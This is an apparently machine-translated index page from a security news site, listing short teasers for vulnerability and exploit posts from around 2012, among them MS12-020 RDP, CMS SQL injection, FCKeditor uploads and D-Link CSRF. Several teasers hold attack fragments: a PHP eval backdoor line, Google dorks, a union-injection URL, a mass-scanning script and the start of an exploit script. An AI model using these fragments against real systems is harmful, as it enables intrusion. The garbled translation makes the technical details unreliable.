dedecms 5.7 a word the back door using the exp-bug warning-the black bar safety net

author: a dance of the forest tx Twitter: http://t.qq.com/wulinlw Night to see this http://www.wooyun.org/bug.php?action=view&id=5 4 1 6 shopcar.class.php is implanted in the word @evalfilegetcontents'php://input'; Go to the official website under the set back, look at the following code,...

[POC] Windows RDP Vulnerability Exploit

POC Windows RDP Vulnerability Exploit The vulnerability described by Microsoft as critical is known as MS12-020 or the RDP flaw. The hackers worked quickly on this particular vulnerability and we've already seen attempts to exploit the flaw which exists in a part of Windows called the Remote...

KingCMS ASP 5.0/5.1 vulnerability-vulnerability warning-the black bar safety net

KingCMS ASP is based on ASP+ACCESS framework of a very good CMS system, the reception is all static processing, the new generation of KingCMS provides a better interface, more development leeway, more powerful expansion capability, and now also by many webmasters welcome. But in the absence of th...

MS12-0 2 0 PoC RDP MS-vulnerability warning-the black bar safety net

Last night got a can only restart computer EXP, but the mention of the right to say or feasible! Just on the QQ found that today's MS12-0 2 0 pass the edge of the entire circle! So I put the MS12-0 2 0 PoC RDP MS published it! !/ usr/bin/env python MS12-0 2 0 Exploi Uses FreeRDP importstruct...

Good fine web site management system through the kill 0day-vulnerability warning-the black bar safety net

inurl:Search. Asp? Range=Product&Keyword=inurl:ProductBuy. Asp? ProductNo=inurl: ProductShow. asp? ID= Proof user: http://www.xxx.com/hitcount.asp?lx=LiangJingCMSDownSort&id=1%20and%2 0 1=2%20un... inurl:Search. Asp? Range=Product&Keyword= inurl:ProductBuy. Asp? ProductNo= inurl: ProductShow. asp...

PHP Address Book 6.2.12 multiple security flaws and fixes-vulnerability warning-the black bar safety net

Author: Stefan Schurtz Affected Software: Successfully tested on PHP Address Book 6.2.12 Developer URL: http://sourceforge.net/projects/php-addressbook/ Defect description ========================== PHP Address Book 6.2.12 is containing multiplexssand sql injection issues ================== The...

fckeditor 2.6 X 0day vulnerabilities-vulnerability warning-the black bar safety net

I speak about it. This can be said that the fckeditor 2.63 oday. Currently know more people. Also comparison old. http://xxxx.com/fckeditor/editor/filemanager/connectors/test.html http://hbkingco.com//fckeditor/editor/filemanager/connectors/uploadtest.html this two page, is a dead key. Upload xx...

AneCMS v. 2e2c583 local file containing the defect and repair-vulnerability warning-the black bar safety net

Title: AneCMS v. 2e2c583 LFI exploit Author Author: I2sec-PJH Software development website: https://github.com/AneGroup/AneCMS Affected version: v. 2e2c583 Overview source of index. php page the presence of defects Code analysis is as follows 1. ifisset$GET'p' 2. include './ pages/'.$ GET'p'.'...

WordPress EditorMonkey (FCKeditor)remote file upload vulnerability-vulnerability warning-the black bar safety net

EditorMonkey is WordPress in a plugin,EditorMonkey in the FCKeditor editor is the presence of a remote file upload vulnerability can lead an attacker directly exploit the vulnerability to obtain the webshell on. +info: WordPress EditorMonkey FCKeditor Remote File Upload Author : kaMtiEz...

Unfamiliar street plaintext submit the registration information of the plaintext transmission-vulnerability warning-the black bar safety net

Unfamiliar Street is Beijing, unfamiliar street Technology Co., Ltd. launched a location-based mobile social products. Its login authentication using a cleartext user ID and password. Detailed description: Unfamiliar Street is Beijing, unfamiliar street Technology Co., Ltd. launched a...

Enterprise into the Electric Company enterprise website management system v1. 0(English version)vulnerability-vulnerability warning-the black bar safety net

File: Company. asp % ID=trimrequest. QueryString"id" if ID="" then ID=1 set Rs = server. createobject"adodb. recordset" Rs. source = "select from Company where ID="&ID&"" Rs. open Rs. source,conn,1,3 if Rs. eof then Content="also did not add relevant content!" else Kig=Rs"Kig" Rs"kig"=Kig+1 Rs...

phpcms-exp 0day-vulnerability warning-the black bar safety net

Reprinted from dis9.com ---------------------- ? php errorreportingEERROR; settimelimit0; $keyword=’inurl:about/joinus’ ; // batch keywords $timeout = 1; $stratpage = 1; $lastpage = 1 0 0 0 0 0 0 0; for $i=$stratpage ; $i=$lastpage ; $i++ $array=ReadBaiduList$keyword,$timeout,$i; foreach $array a...

Yealink VOIP Phone persistent cross-site scripting flaws and fixes-vulnerability warning-the black bar safety net

Title: Yealink VOIP Phone Persistent Cross Site Scripting Vulnerability Product: Yealink Easy VOIP Phone Development website: http://www.yealink.com/ Author: Narendra Shinde =================================================== Developer description: --------------------------- Yealink is the...

Document vulnerability ShellCode look-vulnerability warning-the black bar safety net

Inscription: still very much like to put this topic, put so long, also modified several versions, are not satisfied, today was pushed again to write, as much as possible to put themselves know something write it out, learn the need to constantly summary of to accumulate, on a Sunday ride out, see...

Dlink DCS series CSRF change the administrative password-vulnerability warning-the black bar safety net

Title: Dlink DCS series CSRF Change Admin Password Affected version: DCS-9 0 0, DCS-2 0 0 0, DCS-5 3 0 0 and possibly other. Author: rigan - [email protected] -- A description of the problem: Dlink DCS is a camera series These cameras with the one containing the csrf flaw in the web interface Thi...

DirCMS arbitrary file read 0day-vulnerability warning-the black bar safety net

Feel time really flies really fast, the computer opened an off day is gone. Can't go on like this, so I'm going to take some time to write the blog and learning, recording their growth. Whether it be a programmer, or a security engineer, reading someone else's code is undoubtedly progress in a...

D-Link DSL-2640B (ADSL Router) CSRF flaws and fixes-vulnerability warning-the black bar safety net

Title: D-Link DSL-2640B ADSL Router CSRF Vulnerability Author: Ivano Binetti www.badguest.cn http://ivanobinetti.com Program website: http://www.d-link.com Affected version: DSL-2640B Test platform: Firmware Version: EU4. 0 0; Hardware Version: B2 +-----------------------------------------------...

4PSA CMS SQl injection flaws and fixes-vulnerability warning-the black bar safety net

Title: 4PSA CMS SQL Injection Vulnerabilities Author: BHG Security Center www.2cto.com Nitrojen90 Development program official website: http://www.4psa.com/ Affected version: latest version Risk level: high Testing platform: GNU/Linux - Windows Example: http://www.badguest.cn /print. php? id=SQL...

FBI will shutdown the Internet on March 8

FBI will shutdown the Internet on March 8 The Internet could go dark for millions of users as early as March 8 because of a virus that has corrupted computers in more than 100 countries. Last year, authorities in Estonia apprehended six men believed responsible for creating a malicious computer...

Fork CMS v. 3. 2. 4 multiple defects ( LFI - XSS )-a vulnerability warning-the black bar safety net

Title: Fork CMS v. 3. 2. 4 - Multiple Vulnerabilities Developers: http://www.fork-cms.com Author: RandomStorm - http://www.randomstorm.com Avram Marius Gabriel d3v1l Test platform: Windows XP & Vista The management panel of the reflection type cross-siteXSS Test: http://www.badguest.cn...